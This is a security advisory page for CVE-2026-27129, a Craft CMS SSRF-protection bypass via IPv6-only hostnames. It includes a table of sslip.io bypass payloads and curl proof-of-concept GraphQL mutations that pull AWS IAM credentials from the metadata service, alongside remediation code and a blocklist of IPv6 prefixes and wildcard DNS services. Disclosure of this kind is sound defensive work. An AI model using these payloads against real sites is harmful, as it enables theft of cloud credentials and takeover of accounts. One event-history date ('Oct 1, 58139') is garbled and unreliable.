CVE-2026-27129: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

Published Feb 24, 2026
·
Updated

Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the <VolumeName> volume and creating assets in the <VolumeName> volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.

Other sources

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).

Required Permissions

Exploitation requires GraphQL schema permissions for: - Edit assets in the <VolumeName> volume - Create assets in the <VolumeName> volume

These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions)

---

Technical Details

Root Cause

From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"

When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.

Bypass Mechanism

+-----------------------------------------------------------------------------+ | Step 1: Attacker provides URL | | http://fd00-ec2--254.sslip.io/latest/meta-data/ | +-----------------------------------------------------------------------------+ | Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') | | -> No A record exists | | -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) | +-----------------------------------------------------------------------------+ | Step 3: Blocklist check | | inarray("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) | | -> FALSE (string != IPv4 addresses) | | -> VALIDATION PASSES | +-----------------------------------------------------------------------------+ | Step 4: Guzzle makes HTTP request | | -> Resolves DNS (including AAAA records) | | -> Gets IPv6: fd00:ec2::254 | | -> Connects to AWS IMDS IPv6 endpoint | | -> CREDENTIALS STOLEN | +-----------------------------------------------------------------------------+

---

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload | |----------------|--------------|-----------------|----------------| | AWS EC2 IMDS | 169.254.169.254 | fd00:ec2::254 | http://fd00-ec2--254.sslip.io/ | | AWS ECS | 169.254.170.2 | fd00:ec2::254 (via IMDS) | http://fd00-ec2--254.sslip.io/ | | Google Cloud GCP | 169.254.169.254 | fd20:ce::254 | http://fd20-ce--254.sslip.io/ | | Azure | 169.254.169.254 | No IPv6 endpoint | N/A | | Alibaba Cloud | 100.100.100.200 | No documented IPv6 | N/A | | Oracle Cloud | 192.0.0.192 | No documented IPv6 | N/A |

Additional IPv6 Internal Service Bypass Payloads

| Target | IPv6 Address | Bypass Payload | |--------|--------------|----------------| | IPv6 Loopback | ::1 | http://0-0-0-0-0-0-0-1.sslip.io/ | | AWS NTP Service | fd00:ec2::123 | http://fd00-ec2--123.sslip.io/ | | AWS DNS Service | fd00:ec2::253 | http://fd00-ec2--253.sslip.io/ | | IPv4-mapped IPv6 | ::ffff:169.254.169.254 | http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/ |

---

Steps to Reproduce

Step 1: Verify DNS Resolution

bash Verify the hostname has no IPv4 record (what gethostbyname sees) $ dig fd00-ec2--254.sslip.io A +short (empty - no IPv4 record)

Verify the hostname has IPv6 record (what Guzzle/curl uses) $ dig fd00-ec2--254.sslip.io AAAA +short fd00:ec2::254

Step 2: Enumerate AWS IAM Role Name

bash curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOURGRAPHQLTOKEN" \ -d '{ "query": "mutation { savephotosAsset(file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }" }'

Step 3: Retrieve AWS Credentials

bash Replace ROLENAME with the role discovered in Step 2 curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOURGRAPHQLTOKEN" \ -d '{ "query": "mutation { savephotosAsset(file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLENAME\", filename: \"creds.json\" }) { id } }" }'

Step 4: Access Saved Credentials

The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).

---

Attack Scenario

1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled 2. Attacker sends mutation with url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/" 3. Error message or saved file reveals IAM role name 4. Attacker retrieves credentials via second mutation 5. Attacker uses credentials to access AWS services 6. Attacker can now achieve code execution by creating new EC2 instances with their SSH key

---

Remediation

Replace gethostbyname() with dnsgetrecord() to check both IPv4 and IPv6:

php // Resolve both IPv4 and IPv6 addresses $records = @dnsgetrecord($hostname, DNSA | DNSAAAA); if ($records === false) { $records = []; }

// Blocked IPv6 metadata prefixes $blockedIPv6Prefixes = [ 'fd00:ec2::', // AWS IMDS, DNS, NTP 'fd20:ce::', // GCP Metadata '::1', // Loopback 'fe80:', // Link-local '::ffff:', // IPv4-mapped IPv6 ];

foreach ($records as $record) { // Check IPv4 (existing logic) if (isset($record['ip']) && inarray($record['ip'], $blockedIPv4)) { return false; }

// Check IPv6 (NEW) if (isset($record['ipv6'])) { foreach ($blockedIPv6Prefixes as $prefix) { if (strstartswith($record['ipv6'], $prefix)) { return false; } } } }

Additional Mitigations

| Mitigation | Description | |------------|-------------| | Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes | | Use dnsgetrecord() | Resolves both IPv4 and IPv6 |

---

Resources

- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3 - PHP: gethostbyname - "Get the IPv4 address corresponding to a given Internet host name" - GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437) - AWS IMDS IPv6 Documentation - GCP Metadata Server Documentation - PayloadsAllTheThings - SSRF Cloud Instances

GitHub

Affected Software

8 affected componentsFixes available
Craft Craft CMS>=4.5.0-RC1<4.16.18, >=5.0.0-RC1<5.8.22
Craft Craft CMS>=4.16.19<5.8.23
composer/craftcms/cms>=3.5.0<=4.16.18
4.16.19
composer/craftcms/cms>=5.0.0-RC1<=5.8.22
5.8.23
CraftCMS Craft CMS>=3.5.0<4.16.19
CraftCMS Craft CMS>=5.0.1<5.8.23
CraftCMS Craft CMS=5.0.0
CraftCMS Craft CMS=5.0.0-rc1

Event History

Feb 24, 2026
CVE Published
via MITRE·02:45 AM
Data Sourced
via MITRE·02:45 AM
DescriptionWeakness
Data Sourced
via NVD·03:16 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 AM
RemedyAffected Software
Advisory Published
via GitHub·03:51 PM
Data Sourced
via GitHub·03:51 PM
DescriptionWeaknessAffected Software
Oct 1, 58139
Event
via FIRST·07:21 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-27129?

CVE-2026-27129 has a critical severity level due to its potential to exploit SSRF vulnerabilities.

2

How do I fix CVE-2026-27129?

To fix CVE-2026-27129, upgrade to Craft CMS versions 4.16.19 or 5.8.23 and above.

3

What is the impact of CVE-2026-27129 on Craft CMS?

The impact of CVE-2026-27129 allows attackers to bypass SSRF protection via IPv6 resolution.

4

Which versions of Craft CMS are affected by CVE-2026-27129?

CVE-2026-27129 affects Craft CMS versions 4.5.0-RC1 to 4.16.18 and 5.0.0-RC1 to 5.8.22.

5

Is there a workaround for CVE-2026-27129?

Currently, the recommended solution to mitigate CVE-2026-27129 is to upgrade to the patched versions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203